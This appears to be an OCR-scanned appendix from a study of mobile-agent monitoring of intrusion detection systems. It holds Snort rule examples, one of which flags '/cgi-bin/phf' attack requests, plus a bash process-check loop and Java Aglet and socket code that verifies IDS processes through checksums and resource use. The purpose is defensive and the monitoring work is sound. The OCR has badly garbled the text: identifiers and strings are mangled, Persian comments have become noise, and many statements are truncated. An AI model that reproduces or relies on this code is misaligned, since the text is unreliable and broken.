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alert tcp any any -» 10.1.1.0/24 80 (content: "/cgi-bin/phf": msg: "FHF
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Options allow increased rule complexity.

alert tcp any any -» 10.1.1.0/24 6000:6010 (msg: "X traffic":)

An example of port ranges.

alert tcp !110.1.1.0/24 any -» 10.1.1.0/24 6000:6010 (msg: "X traffic":)
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#! /bin/bash
while true
do
echo “ps —o “comm pid ppid user %cpu %mem stat” —C snorp|sgrart” "'md5sum snort.conf |
head —c 32" ‘'md5sum snort | head —c 32"
sleep 1
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done
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public class AgletAudit extends Aglet {

2SS« b L2l Aglet S b sl sl odd o] Aglet e i g S hiles

(T-y S splks) @l 5 0T run 5 onCreation

public void run() {
this.init("d:\\conf.txt");
this.createAudit();

}
BV e 358 0l s Sy bl OT L3 o 558 edilpti iNit Ole & (i bl wb ol 3
il 5 g 4 &S 355 05 |k CreateAudit

void createAudit() {
Object[][] o = new Object[this.auditNum][AgletAudilAX_OBJ];
for (inti=0; i < this.auditNum; i++) {
o[i][0] = new String(this.baseAddress);
o[i][1] = new Integer(this.auditinfo[i].getldsNum());
for (intj = 0; j < this.auditInfo[i].getldsNum()++)
o[i][2 + j] = new String(this.auditInfo[i].getldsta()));

while (true) {
for (inti = 0; i < this.auditNum; i++)
try {
AgletContext cxt = getAgletContext();
AgletProxy proxy = cxt.createAglet(null, "audib®ssAudit”, ofi]);
} catch(Exception e) {
System.out.println(“can not create new ageiy
System.exit(1);
}

try {
Thread.sleep(this.delay);

} catch(Exception e) {
System.out.printin("can not sleep ...");
System.exit(1);

}

}
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public class ProcessAudit extends Aglet {
ol 3 a8l ile G Oud sl e &b ol S ol odd ale onCreation oIS gl s

:A}ZGA
public void onCreation(Object 0) {
String str = new String();
intindex1 = 0, index2 = -1,
addMobilityListener(new MobilityAdapter() {
public void onArrival(MobilityEvent e) {
if (position == 1) {
checkProcessInfo();
if (posCount < idsNum - 1) {
try {
posCount++,
dispatch(new URL(new String("atp://" + host[posCount])));
} catch(Exception ex) {
System.out.printin("can not dispatch ...");

dispose();
}
}else {
try {
position = 0O;

dispatch(new URL(new String("atp://" + baseAddress)));
} catch(Exception ex) {

System.out.printin("can not dispatch ...");

dispose();

}else {
System.out.printin(resultMsg);

}
}
1;
if (this.position == 0) {
this.baseAddress = (String)((Object[])o)[0];
Integer n = (Integer)((Object[])o)[1];
this.idsNum = n.intValue();
this.idsInfo = new String[this.idsNum];
this.idsName = new String]this.idsNum];
this.host = new String[this.idsNum];
for (inti = 0; i < this.idsNum; i++) {
str = (String)((Object[])o)[2 + i];
for (intj=0;j<3;j++){
index1 = index2 + 1,
index2 = str.indexOf(" ', index1);
switch (j) {
case 0O:
host[i] = str.substring(index1, index2);
break;
case 1:
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idsName[i] = str.substring(index1, index2);
break;
case 2:
idsInfo[i] = str.substring(index1);
break;

}
}
}
this.position = 1;
this.sortHost();

try {
dispatch(new URL(new String(“atp://" + this.host[0])));

} catch(Exception e) {
System.out.printin(e);
dispose();

}
}
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package MA;

import com.ibm.aglet.*;
import com.ibm.aglet.event.*;
import java.net.*;

import java.io.*;

public class ProcessAudit extends Aglet {
public static final int MAX_ATTACK = 10;
String baseAddress = new String();
int idsNum = 0;
String[] host;
String[] idsName;
String[] idsInfo;
int attackldsNum = 0;
String[] attackldslInfo;
int position = 0;
int posCount = 0;
String resultMsg = new String();

class AttackWarning {
public String attack = new String();
public String warning = new String();
public boolean result;
public String toString() {
return attack + " " + warning + " " + result;

}
k
/I

public void onCreation(Object 0) {
String str = new String();
intindex1 =0, index2 = -1;

addMobilityListener(new MobilityAdapter() {
public void onArrival(MobilityEvent e) {
if (position == 1) {
checkldslInfo();
if (posCount < idsNum - 1) {
try {
posCount++,
dispatch(new URL(new String("atp://" + host[posCount))));
} catch(Exception ex) {
System.out.printin("can not dispatch ...");
System.out.printin("atp://* + host[posCount]);
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dispose();
}
}else {
try {
position = 0;
dispatch(new URL(new String("atp://" + baseAddress)));
} catch(Exception ex) {
System.out.printin("can not dispatch ...");
System.out.printin("atp://* + baseAddress);
dispose();
}

} else {
System.out.printin(resultMsg);

}
b

if (this.position == 0) {
this.baseAddress = (String)((Object[])0)[0];
Integer n = (Integer)((Object[])o)[1];
this.attackldsNum = n.intValue();
n = (Integer)((Object[])o)[2];
this.idsNum = n.intValue();
this.idsInfo = new String[this.idsNum];
this.idsName = new String[this.idsNum];
this.host = new String[this.idsNum];
this.attackldsInfo = new String[this.attackldsNum];
for (inti=0; i < this.idsNum; i++) {
str = (String)((Object[])o)[3 + i];
for (intj=0;j<3;j++){
index1 = index2 + 1,
index2 = str.indexOf(" ', index1);
switch (j) {
case 0O:
this.host[i] = new String(str.substring(index1, index2));
break;
case 1:
this.idsName[i] = new String(str.substring(index1, index2));
break;
case 2:
this.idslInfo[i] = new String(str.substring(index1));
break;
}

}
}

for (inti = 0; i < this.attackldsNum; i++) {
str = (String)((Object[])0)[3 + this.idsNum + i];
this.attackldsiInfo[i] = new String(str);

}

this.position = 1;
this.sortHost();
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try {
setText("man raftam...");

dispatch(new URL(new String("atp://" + this.host[0])));
} catch(Exception €) {

System.out.printin(e);

dispose();

}

}
I

void sortHost() {
for (inti = 0; i < this.idsNum; i++)

for (intj = i; j < this.idsNum; j++)
if (this.host[i].compareTo(this.host[j]) > 0) {
String temp;

temp = this.host][i];
this.host[i] = this.host[j];
this.host[j] = temp;
temp = this.idsName([i];
this.idsName][i] = this.idsName[jJ;
this.idsName[j] = temp;
temp = this.idsInfo[i];
this.idsInfo[i] = this.idsInfo[j];
this.idsInfolj] = temp;
}
}
I

void checkldsInfo() {
String tempHost = this.host[this.posCount];
String templdsinfo = new String();
String templdsName = new String();

while (true) {
if (tempHost.compareTo(this.host[this.posCount]) != 0)
break;
templdsinfo = this.idsInfo[this.posCount];
templdsName = this.idsName[this.posCount];
createResultMsg(this.doProcess(templdsinfo, templdsName));
this.posCount++;
if (this.posCount == this.idsNum)
break;
}

}
I

boolean doProcess(String info, String name) {
int num = 0, index1 = 0, index2 = 0, midindex;;
String str;
AttackWarning[] attackWarning = new AttackWarning[ProcessAMX_ATTACK];
int attackWarningNum;
FileReader fileReader = null;
BufferedReader bufferReader = null;
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try {
fileReader = new FileReader(info);

bufferReader = new BufferedReader(fileReader);
} catch(Exception e) {
System.out.printin("\ncan not open input file ...");

}

for (inti = 0; i < this.attackldsNum; i++)

if (this.attackldsInfo[i].indexOf(name) != -1) {
num = i;
break;

}

str = this.attackldsInfo[num];

attackWarningNum = 0;

while (true) {
index1 = str.indexOf('(", index2);
index2 = str.indexOf(")', index1);
midindex = str.indexOf(" ', index1);
if (index1 == -1 || index2 == -1)

break;
attackWarning[attackWarningNum] = new AttackWarning();
attackWarning[attackWarningNum].attack = str.substnitgk1 + 1, midindex);
attackWarning[attackWarningNum].warning = str.substringjmlex + 1, index2);
attackWarning[attackWarningNum].result = false;
attackWarningNum-++;

return checkData(bufferReader, attackWarning, attackWgkhuim);

}
I

boolean checkData(BufferedReader bufferReader,AttackWarrattggkWarning, int attackWarningNum)
{
inti;
try {
String s;
while ((s = bufferReader.readLine()) = null) {
for (i = 0; i < attackWarningNum; i++)
if (attackWarning]i].result == false)
break;
if (i == attackWarningNum)
return true;
for (i = 0; i < attackWarningNum; i++)
if (s.indexOf(attackWarning][i].warning) != -1)
attackWarningl[i].result = true;
}

for (i = 0; i < attackWarningNum; i++)
if (attackWarning[i].result == false)
break;
if (i == attackWarningNum)
return true;
} catch (IOException e) {
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System.out.printin("\ncan nor read from file ...");

}

return false;

}
I

void createResultMsg(boolean result) {

}
Il

this.resultMsg += "IDS (" + this.idsName][this.posCount) working is: " + result + " ..\n";

public void run() {

ool iy
package MA;
import java.io.*;
import com.ibm.aglet.*;
import com.ibm.aglet.event.*;

class ldsInfo {
public String hostlp = new String();
public String idsName = new String();
public String idsLogFile = new String();

public String toString() {
return this.hostlp + " " + this.idsName + " " +stidsLogFile;
}
h
I

class Auditldsinfo {
public static final int MAX_HOST = 10;
int auditNum = 0;
String[] idsInfo = new String[AuditldsInfo.MAX_HOST];
int idsNum = 0;
I

public void setAuditNum(int num) {
this.auditNum = num;

}
I

public void setldsInfo(String info) {
this.idsInfo[this.idsNum] = new String();
this.idsInfo[this.idsNum++] = info;

}
I

public int getAuditNum() {
return this.auditNum;

}
I

public int getldsNum() {
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return this.idsNum;

}
I

public String getldsinfo(int num) {
return this.idsInfo[num;
}
h
I

class Auditinfo {
String baseAddress = new String();
AuditldsInfo[] auditinfo;
int auditNum = 0;
int delay;
String section = new String();
FileReader fileInput = null;
BufferedReader filelnputBuf = null;
I

public Auditinfo(String fileName) {

try {
this.filelnput = new FileReader(fileName);

this.filelnputBuf = new BufferedReader(thislfiput);

} catch (FileNotFoundException €) {
System.out.printin("file not found ...");
System.exit(1);

}

this.readFile();

}
I

void readFile() {

String str;

try {
while ((str = this.filelInputBuf.readLine()) != null
if (str.length() > 0)

this.parseLine(str);

} catch (IOException e) {
System.out.printin("Can not read ...");

}

}
I

void parseLine(String str) {
if (str.startsWith("["))

this.section = str.substring(str.indexOf(*4f"}, str.indexOf(""));

else if (this.section.equals("BASE"))
this.readBaseAddress(str);

else if (this.section.equals("AUDIT_NUM"))
this.readAuditNum(str);

else if (this.section.equals("IDS_INFQO"))
this.readldsInfo(str);

else if (this.section.equals("DELAY"))
this.readDelaylnfo(str);
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I

void readBaseAddress(String str) {
this.baseAddress = str;

}
I

void readAuditNum(String str) {
this.auditNum = Integer.valueOf(str).intValue();
this.auditinfo = new AuditldsInfo[this.auditNum];
for (inti=0; i< this.auditNum; i++)
this.auditinfo[i] = new AuditldsInfo();
}

I

void readldsInfo(String str) {
int num = 0;
intindex1 = 0, index2 = -1;
IdsInfo ids = new ldsInfo();

for (inti=0;i<4;i++){
index1 = index2 + 1,
index2 = str.indexOf(" ', index1);
switch (i) {
case 0O:
num = Integer.valueOf(str.substring(indemdex?2)).intValue();
break;
case 1:
ids.hostlp = str.substring(index1, index2);
break;
case 2:
ids.idsName = str.substring(index1, index2);
break;
case 3:
ids.idsLogFile = str.substring(index1);
break;

}

this.auditinfo[num - 1].setldsInfo(ids.toString());
this.auditinfo[num - 1].setAuditNum(num);

}
I

void readDelaylnfo(String str) {
this.delay = Integer.valueOf(str).intValue();

}
I

public String getBaseAddress() {
return this.baseAddress;

}
I

public int getAuditNum() {
return this.auditNum;

}
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public int getDelay() {
return this.delay;

}
I

public Auditldsinfo getAuditldsinfo(int num) {
return this.auditinfo[num];

}

}
I

class AttackWarning {
public static final int ATTACK_NUM = 10;
String idsName = new String();
String[] attack = new String[AttackWarning. ATTACK _INAJ;
String[] warning = new String[AttackWarning. ATTACK UWI];
int attackNum = 0;
I

public void setldsName(String name) {
this.idsName = name;

}
I

public void setAttackWarning(String attack, Stringniag) {
this.attack[this.attackNum] = new String(at)ac
this.warning]this.attackNum] = new String(wag);
this.attackNum++;

}
I

public String getAttackWarninglnfo() {

String info;

info = this.idsName + " ;

for (inti = 0; i < this.attackNum; i++)

info = info + "(" + this.attack]i] + " " + is.warning[i] + ") ";
return info;
}

}
I

class Attackinfo {
public static final int IDS_NUM = 4;
public static final String[] idsFileName = new Sgih{
new String("d:\\1.txt"),
new String("d:\\2.txt"),
new String("d:\\3.txt"),
new String("d:\\4.txt")};
AttackWarning][] attackWarning = new AttackWarning[Attatfd.IDS_NUM];
FileReader fileInput = null;
BufferedReader filelnputBuf = null;
int idsNum = 0;
I
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public Attackinfo() {
for (inti=0; i < Attackinfo.IDS_NUM; i++)
attackWarning[i] = new AttackWarning();
for (inti = 0; i < Attackinfo.IDS_NUM; i++) {
try {
this.filelnput = new FileReader(idsFileName[i]);
this.filelnputBuf = new BufferedReader(this.filelnput);
} catch (FileNotFoundException €) {
System.out.printin("file not found ...");

this.readFile();

}
I

void readFile() {

String str;

try {
this.attackWarning]this.idsNum] = new AttackWiag();
while ((str = this.fileInputBuf.readLine(} null)
if (str.length() > 0)

this.parseLine(str);
this.idsNum++;
this.filelnput.close();
this.filelnputBuf.close();

} catch (IOException e) {
System.out.printin("Can not read ...");

}

}
I

void parseLine(String str) {
int index1, index2;
String attack, warning;

if (str.indexOf('=") I=-1)
this.attackWarning[this.idsNum].setldsNanmmeggbstring(str.indexOf('=") + 1));
else {
index1 = str.indexOf(" ");
attack = str.substring(0, index1);
index1 = str.indexOf(");
index2 = str.indexOf("", index1 + 1);
warning = str.substring(index1 + 1, index2);
this.attackWarning]this.idsNum].setAttackWagattack, warning);

}

}
I

public String getAttackinfo(int index) {
if (index < Attackinfo.IDS_NUM)
return this.attackWarning[index].getAttackWarninginfo();
return null;
}

I

public int getldsNum() {
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return this.idsNum;

}
k
/I

public class AgletAudit extends Aglet{
public static final int MAX_OBJ = 20;
Auditinfo auditinfo = null;
AttackInfo attackinfo = null;
I

void createAudit() {
int auditNum = auditinfo.getAuditNum();
AuditldsInfo auditldsinfo = new AuditldsInfo();

Object[][] o = new Object[auditNum][AgletAudilAX_OBJ]J;
for (inti= 0; i< auditNum; i++) {
auditldsInfo = auditinfo.getAuditldsInfo(i);
o[i][0] = new String(this.auditinfo.getBasddress());
o[i][1] = new Integer(attackinfo.IDS_NUM);
o[i][2] = new Integer(auditldsinfo.getldsNumy())
for (int j = 0; j < auditldsInfo.getldsNumjfj;+)
o[i][3 + j] = new String(auditldsinfo.getldsInfo)j)
for (intj = 0; j < this.attackInfo.getldah(); j++)
o[i][3 + auditldsInfo.getldsNum() + j] = new Stringéhattackinfo.getAttackInfo(j));

}

while (true) {
for (inti = 0; i < auditNum; i++)
try {

AgletContext cxt = getAgletContext();
AgletProxy proxy = cxt.createAglet(niMA.ProcessAudit", ofi]);

} catch(Exception e) {
System.out.printin("can not create agent ...");
System.exit(1);

}

try {
Thread.sleep(this.auditinfo.getDelay());

} catch(Exception e) {
System.out.printin("can not sleep ...");
System.exit(1);

}

}
I

public void run() {
this.auditinfo = new Auditinfo("d:\\conf.txt");
this.attackinfo = new AttacklInfo();
this.createAudit();

}
}
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package audit;

import java.io.*;
import com.ibm.aglet.*;
import com.ibm.aglet.event.*;

class ldsInfo {
public String hostlp = new String();
public String idsName = new String();
public String infoLoc = new String();
public String toString() {
return hostlp + " " + idsName + " " + infoLoc;

}
kh
/I

class Auditinfo {
public static final int MAX_HOST = 10;
int auditNum;
String[] idsInfo = new String[Auditinfo.MAX_HOST];
int idsNum = 0;
I

public Auditinfo() {
for (inti=0; i < Auditinfo.MAX_HOST; i++)
this.idsInfo[i] = new String();
}

It

public void setAuditNum(int num) {
this.auditNum = num;

}
I

public void setldsInfo(String map) {
this.idsInfo[this.idsNum++] = map;

}
I

public int getldsNum() {
return this.idsNum;

}
I

public String getldsinfo(int num) {
return this.idsInfo[num];

}
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public class AgletAudit extends Aglet {
public static final int MAX_OBJ = 20;
AuditInfo[] auditinfo;
int auditNum = 0;
int delay = 0;
String baseAddress = new String();
String section = new String();
FileReader fileInput = null;
BufferedReader filelnputBuf = null;
I

void Init(String fileName) {
try {
this.filelnput = new FileReader(fileName);
this.filelnputBuf = new BufferedReader((this.filgln);
} catch (FileNotFoundException €) {
System.out.printin("file not found ...");
System.exit(1);

}
this.readFile();

}
I

void readFile() {

String str;

try {
while ((str = this.filelInputBuf.readLine()) tull)

if (str.length() > 0)
this.parseLine(str);

}catch (IOException e) {

System.out.printin("Can not read ...");

}

}
I

void parseLine(String str) {
if (str.startsWith("["))
this.section = str.substring(str.indexOf("[") ,+sfr.indexOf("]"));
else if (this.section.equals("BASE"))
this.readBaseAddress(str);
else if (this.section.equals("AUDIT_NUM"))
this.readAuditNum(str);
else if (this.section.equals("IDS_INFQO"))
this.readldsInfo(str);
else if (this.section.equals("DELAY"))
this.readDelaylnfo(str);
}

1

void readBaseAddress(String str) {
this.baseAddress = str;

}
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void readAuditNum(String str) {
this.auditNum = Integer.valueOf(str).intValue();
this.auditinfo = new Auditinfo[this.auditNum];
for (inti = 0; i < this.auditNum; i++)
this.auditinfo[i] = new Auditinfo();
}

1

void readldsInfo(String str) {
int num = 0;
intindex1 =0, index2 = -1;
IdsInfo ids = new IdsInfo();

for (inti=0;i<4;i++){

index1 = index2 + 1,

index2 = str.indexOf(" ', index1);

switch (i) {

case 0:

num = Integer.valueOf(str.substring(ind@dex2)).intValue();

break;

case 1:
ids.hostlp = str.substring(indexl, index2);
break;

case 2:
ids.idsName = str.substring(index1, index2);
break;

case 3:
ids.infoLoc = str.substring(index1);
break;

}
this.auditinfo[num - 1].setldsInfo(ids.toSgi));
this.auditinfo[num - 1].setAuditNum(num);

}
I

void readDelaylnfo(String str) {
this.delay = Integer.valueOf(str).intValue();

}
I

void createAudit() {
Object[][] o = new Object[this.auditNum][Agletdit. MAX_OBJ];
for (inti=0; i < this.auditNum; i++) {
o[i][0] = new String(this.baseAddress);
o[i][1] = new Integer(this.auditInfoli].getldsNj
for (int j = 0; j < this.auditinfo[i].getldsin(); j++)
o[i][2 + j] = new String(this.auditinfd]getldsinfo(j));

while (true) {
for (inti=0; i< this.auditNum; i++)
try {
AgletContext cxt = getAgletContext();
AgletProxy proxy = cxt.createAglet(null, "audit. Prezgudit”, ofi]);
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} catch(Exception e) {
System.out.printin("can not create new agehit
System.exit(1);

}

try {
Thread.sleep(this.delay);

} catch(Exception e) {
System.out.printin("can not sleep ...");
System.exit(1);

}

}
I

public void run() {
this.Init("d:\\conf.txt");
this.createAudit();

}

package audit;

import com.ibm.aglet.*;
import com.ibm.aglet.event.*;
import java.net.*;

import java.io.*;

public class ProcessAudit extends Aglet {

public static final int MAX_DATA = 100;

public static final String AUDIT_FILE = new String("d:\\aititkt");
String baseAddress = new String();

int idsNum = 0;

String[] idsName;

String[] idsInfo;

String[] host;

int position = 0;

int posCount = 0;

int resultindex = 0;

String resultMsg = new String();
String auditMsg = new String();

String[] command = new String[ProcessAudit. MAX_DATA];
int]] pid = new int[ProcessAudit. MAX_DATA];

int]] ppid = new int[ProcessAudit. MAX_DATA];

String[] user = new String[ProcessAudit. MAX_DATA;
float[] cpu = new float[ProcessAudit. MAX_DATA];

float[] mem = new float[ProcessAudit. MAX_DATA];

String[] state = new String[ProcessAudit. MAX_DATA];
String[] cfgMD5 = new String[ProcessAudit. MAX_DATA];
String[] codeMD5 = new String[ProcessAudit. MAX_DATA];
int dataNum = 0;
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long currentTime;
1

public void onCreation(Object 0) {
String str = new String();
intindex1 = 0, index2 = -1;

this.currentTime = System.currentTimeMillis();
addMobilityListener(new MobilityAdapter() {
public void onArrival(MobilityEvent e) {
if (position == 1) {
checkProcessInfo();
if (posCount < idsNum - 1) {
try {
posCount++,
dispatch(new URL(new String("atp:/Mast[posCount))));
} catch(Exception ex) {

System.out.printin("can not dispatch ...");
dispose();

}else {
try {
position = 0;
dispatch(new URL(new String("atp://" + baseAddngss)
} catch(Exception ex) {
System.out.printin("can not dispatch ...");
dispose();
}

}else {
long time = System.currentTimeMillis() - curt&ime;
System.out.printin(resultMsg);
saveAuditMsg();
System.out.printin("response time: "me);
currentTime = System.currentTimeMillis();

}
}
D

if (this.position == 0) {
this.baseAddress = (String)((Object[])0)[O];
Integer n = (Integer)((Object[])o)[1];
this.idsNum = n.intValue();
this.idsInfo = new String[this.idsNum];
this.idsName = new String|this.idsNum];
this.host = new String[this.idsNum];
for (inti=0; i< this.idsNum; i++) {
str = (String)((Object[])o)[2 + i];
for (intj=0;j<3; j++) {
index1 = index2 + 1;
index2 = str.indexOf(" ', index1);
switch (j) {
case 0O:
host[i] = str.substring(index1, index2);
break;
case 1:
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idsName[i] = str.substring(indexex?2);
break;

case 2:
idsInfo[i] = str.substring(index1);
break;

this.position = 1,
this.sortHost();

try {

dispatch(new URL(new String("atp://" + this.host[Q])))

} catch(Exception e) {
System.out.printin(e);
dispose();

}

}
I

void sortHost() {
for (inti=0; i< this.idsNum; i++)
for (intj =i; j < this.idsNum; j++)
if (this.host[i].compareTo(this.host[j]) > 0) {

String temp;

temp = this.host][i];

this.host[i] = this.host][j];

this.host[j] = temp;

temp = this.idsNamefi];
this.idsName][i] = this.idsName[j];
this.idsName[j] = temp;

temp = this.idsInfo[i];
this.idsInfo[i] = this.idsInfo[j];
this.idsInfo[j] = temp;

}
Il

void checkProcessInfo() {
String tempHost = this.host[this.posCount];
String templdsinfo = new String();

while (true) {
if (tempHost.compareTo(this.host[this.posCount]p)=
break;
templdsinfo = this.idsInfo[this.posCount];
this.createResultMsg(this.doProcess(templdsinfo));
this.createAuditMsg(this.resultindex);
this.posCount++;
if (this.posCount == this.idsNum)
break;
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boolean doProcess(String info) {
int count = 0;
int idsDatalndex = 0O;
FileReader fileReader = null;
BufferedReader bufferReader = null;

try {
fileReader = new FileReader(info);

bufferReader = new BufferedReader(fileReader);
} catch(Exception e) {
System.out.printin("\ncan not open input fil§;...

try {
String s;
this.dataNum = 0;
while ((s = bufferReader.readLine()) = n4ll)
this.parseData(s);
this.dataNum-++;

} catch (IOException e) {
System.out.printin("\ncan not read from filg);

}

return this.checkData();

}
I

void parseData(String s) {
intindex1 = 0, index2 = -1;

for (inti=0;i<9;i++) {
index1 = index2 + 1;
index2 = s.indexOf(" ', index1);
switch (i) {
case 0:
this.command][this.dataNum] = s.substrirdgk1, index2);
break;
case 1:
this.pid[this.dataNum] = Integer.valueGifgstring(index1, index2)).intValue();
break;
case 2:
this.ppid[this.dataNum] = Integer.valueOf(sstring(index1, index2)).intValue();
break;
case 3:
this.user[this.dataNum] = s.substring(ind@édex2);
break;
case 4:
this.cpu[this.dataNum] = Float.valueOffbstring(index1, index2)).floatValue();
break;
case 5:
this.mem[this.dataNum] = Float.valueGi{dstring(index1, index2)).floatValue();
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break;

case 6:
this.state[this.dataNum] = s.substrirggii, index2);
break;

case 7:
this.cfgMD5[this.dataNum] = s.substring@n1, index2);
break;

case 8:
this.codeMD5[this.dataNum] = s.substringéx1);
break;

}

}
I

boolean checkData() {
float mem =0, cpu = 0;
boolean flag = true;

for (inti =1; i< this.dataNum; i++)

if (this.pid[0] != this.pid[i] ||
this.ppid[0] != this.ppid[i] ||
Ithis.user[0].equals(this.user]i]) ||
this.state[i].equals("Z") ||
Ithis.cfgMD5[0].equals(this.cfgMD5[i]) ||
Ithis.codeMD5[0].equals(this.codeMD5[i])) {
this.resultindex = i;

return false;

}

this.resultindex = this.dataNum - 1;
for (inti = 0; i < this.dataNum; i++) {
mem += this.mem[i];
cpu += this.cpuli];

}
if ((mem / this.dataNum) > 50 || (cpu / this.dataNerBO)
return false;

return true;

}
l

void createAuditMsg(int num) {
this.auditMsg = "User: " + this.user[num] +
"\nProcess ID: " + this.pid[num] + " Parebt I' + this.ppid[num] +
"\nState: " + this.state[num] +
"\nProcess CRC: " + this.codeMD5[num] + " @ICRC: " + this.cigMD5[num] + "\n";
}
I
void createResultMsg(boolean result) {
this.resultMsg +="IDS (" + this.idsName][this.pos@8 + ") working is: " + result + " ...\n";
}
1
void saveAuditMsg() {
byte buffer[] = this.auditMsg.getBytes();
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try {
OutputStream auditFile = new FileOutputStream(Proaedis AUDIT_FILE, true);
auditFile.write(buffer);
auditFile.close();
} catch (Exception e) {
System.out.printin("can write data ...");
System.exit(1);

}
I

public void run() {
}
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Server
import java.net.*;
import java.io.*;
import java.lang.*;

public class Server {
public static final int SERVER_PORT = 4445;
Socket clientSocket = null;
ServerSocket serverSocket = null;
BufferedReader in = null;
Il

public static void main(String[] args) {
Server server = new Server();
server.start();

I

public Server() {
try {
serverSocket = new ServerSocket(Server. SERPERT);
} catch(IOException e) {
System.out.printin("Could not listen on port: Server.SERVER_PORT);
System.exit(1);

try {
clientSocket = serverSocket.accept();

System.out.printin("client connected ...");
} catch(Exception e) {
System.out.printin("Accept failed.");
System.exit(1);
}

try {
this.in = new BufferedReader(new InputStreamRéeldsmtSocket.getinputStream()));
} catch(Exception e) {
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System.out.println("can send/receive data ...");
System.exit(1);
}

}
I

public void start() {
String result;
while (true) {
try {
result = this.in.readLine();
System.out.printin("result: " + result);
} catch(Exception e) {
System.out.printin("can not recieve daty ..."
System.exit(1);
}
}
}

import java.io.*;
import java.net.*;

class IDSData {
public String command = new String();
public int pid;
public int ppid;
public String user = new String();
public float cpu;
public float mem;
public String state = new String();
public String cfgMD5 = new String();
public String codeMD5 = new String();

k

public class LocalAudit {

public static final String SERVER_ADDR = new String("1868.0.2");

public static final int SERVER_PORT = 4445;
public static final int DELAY = 1000;
int idsindex = 0;
IDSData[] idsData = new IDSData[100];
FileReader fileReader = null;
BufferedReader bufferReader = null;
long currentTime;
PrintWriter out = null;
Socket sockfd = null;
Il

public static void main(String args[]) {
LocalAudit localAudit = new LocalAudit("d:\\result");
localAudit.start();

}
l
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public LocalAudit(String fileName) {

this.currentTime = System.currentTimeMillis();

try {
this.sockfd = new Socket(LocalAudit. SERVER _ADDRB¢alAudit. SERVER_PORT);
this.out = new PrintWriter(sockfd.getOutputStreain(e);

} catch(UnknownHostException e) {
System.out.println("can not connect ...");
System.exit(1);

} catch(Exception e) {
System.out.printin("io error ...");
System.exit(1);

try {
this.fileReader = new FileReader(fileName);

this.bufferReader = new BufferedReader(this.&keder);
} catch(Exception e) {
System.out.printin("\ncan not open input fil§;...

}
this.readFile();

}
l

void readFile() {
String s;
try {
while ((s = this.bufferReader.readLine()) !4
this.idsData]this.idsIndex] = new IDSData();
this.idsDatathis.idsIndex++] = this.parseData(s

}
} catch (IOException e) {
System.out.printin("\ncan not read from filg);
}

}
I

IDSData parseData(String s) {
intindex1 = 0, index2 = -1;
IDSData data = new IDSData();

for (inti=0;i<9;i++) {
index1 = index2 + 1;
index2 = s.indexOf(" ', index1);
switch (i) {
case 0:
data.command = s.substring(index1, index2);
break;
case 1:
data.pid = Integer.valueOf(s.substring(indadex2)).intValue();
break;
case 2:
data.ppid = Integer.valueOf(s.substring(indexiex2)).intValue();
break;
case 3:
data.user = s.substring(index1, index2);
break;
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case 4:
data.cpu = Float.valueOf(s.substring(indmdex2)).floatValue();
break;
case 5:
data.mem = Float.valueOf(s.substring(indexiex2)).floatValue();
break;
case 6:
data.state = s.substring(index1, index2);
break;
case 7:
data.cfgMD5 = s.substring(index1, index2);
break;
case 8:
data.codeMD5 = s.substring(index1);
break;

}
}

return data;

}
I

public void start() {
boolean result = false;
long time;

while (true) {
result = checkData();
time = System.currentTimeMillis() - this.curr€imhe;
System.out.printin("result: " + result);
System.out.printin("response time: " + time);
this.currentTime = System.currentTimeMillis();
this.out.printin(result);
try {
Thread.sleep(LocalAudit. DELAY);
} catch(Exception e) {
System.out.printin("can not sleep ...");
System.exit(1);

}

}
I

boolean checkData() {
float mem =0, cpu = 0;
boolean flag = true;
IDSData data = this.idsData[0];
for (inti=1; i< this.idsIndex; i++) {
if (data.pid != this.idsDatali].pid ||
data.ppid != this.idsData[i].ppid ||
Idata.user.equals(this.idsDatal[i].user) ||
this.idsDatali].state.equals("Z") ||
Idata.cfgMD5.equals(this.idsData]i].cfgMD5) ||
Idata.codeMD5.equals(this.idsDatali].codeMD5))
return false;
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for (inti = 0; i < this.idsIndex; i++) {
mem += this.idsData[i].mem);
cpu += this.idsDatal[i].cpu;

}

if ((mem / this.idsIndex) > 50 || (cpu / this.idsIndeX0}
return false;

return true;

}
}

(3% yoko) Wl 49 Como oS w9 b -F
Server
import java.net.*;
import java.io.*;
import java.lang.*;

class IDSData {
public String command = new String();
public int pid;
public int ppid;
public String user = new String();
public float cpu;
public float mem;
public String state = new String();
public String cfgMD5 = new String();
public String codeMD5 = new String();

public String toString() {
String str;
str = command + " " + pid + " " + codeMD5;
return str;

}
k

public class Server {
public static final int SERVER_PORT = 4445;
int idsindex = 0;
IDSData[] idsData = new IDSData[100];
Socket clientSocket = null;
ServerSocket serverSocket = null;
BufferedReader in = null;
PrintWriter out = null;
Il

public static void main(String[] args) {
Server server = new Server();
server.start();

}
I

public Server() {
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try {
serverSocket = new ServerSocket(Server. SERPERT);

} catch(IOException e) {
System.out.printin("Could not listen on port: Server.SERVER_PORT);
System.exit(1);

}

try {
clientSocket = serverSocket.accept();

System.out.printin("client connected ...");

} catch(Exception e) {
System.out.printin("Accept failed.");
System.exit(1);

try {
this.out = new PrintWriter(clientSocket.getOutfretsn(), true);

this.in = new BufferedReader(new InputStreamRéelasmtSocket.getIinputStream()));
} catch(Exception e) {

System.out.printin("can send/receive data ...");

System.exit(1);
}

public void start() {

boolean result = false;

while (true) {
this.receiveData();
result = checkData();
this.idsindex = 0;
System.out.printin("result: " + result);
this.out.printin(".");

}

void receiveData() {
String str;
try {
while (true) {
str = this.in.readLine();
if (str.compareTo("end") == 0)
break;

this.idsData]this.idsIndex] = new IDSData();
this.idsDatathis.idsIndex++] = this.parseDatg(s

} catch(Exception e) {
System.out.printin("can not receive data ...");
System.exit(1);

IDSData parseData(String s) {
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intindex1 = 0, index2 = -1;
IDSData data = new IDSData();

for (inti=0;i<9;i++) {
index1 = index2 + 1;
index2 = s.indexOf(" ', index1);
switch (i) {
case 0:
data.command = s.substring(index1, index2);
break;
case 1:
data.pid = Integer.valueOf(s.substring(indedex2)).intValue();
break;
case 2:
data.ppid = Integer.valueOf(s.substring(indexiex2)).intValue();
break;
case 3:
data.user = s.substring(index1, index2);
break;
case 4:
data.cpu = Float.valueOf(s.substring(indmdex2)).floatValue();
break;
case 5:
data.mem = Float.valueOf(s.substring(indiexiex2)).floatValue();
break;
case 6:
data.state = s.substring(index1, index2);
break;
case 7:
data.cfgMD5 = s.substring(index1, index2);
break;
case 8:
data.codeMD5 = s.substring(index1);
break;

}
}

return data;

}
I

boolean checkData() {
float mem =0, cpu = 0;
boolean flag = true;
IDSData data = this.idsData[0];
for (inti=1; i< this.idsIndex; i++) {
if (data.pid != this.idsDatali].pid ||
data.ppid != this.idsData[i].ppid ||
Idata.user.equals(this.idsDatal[i].user) ||
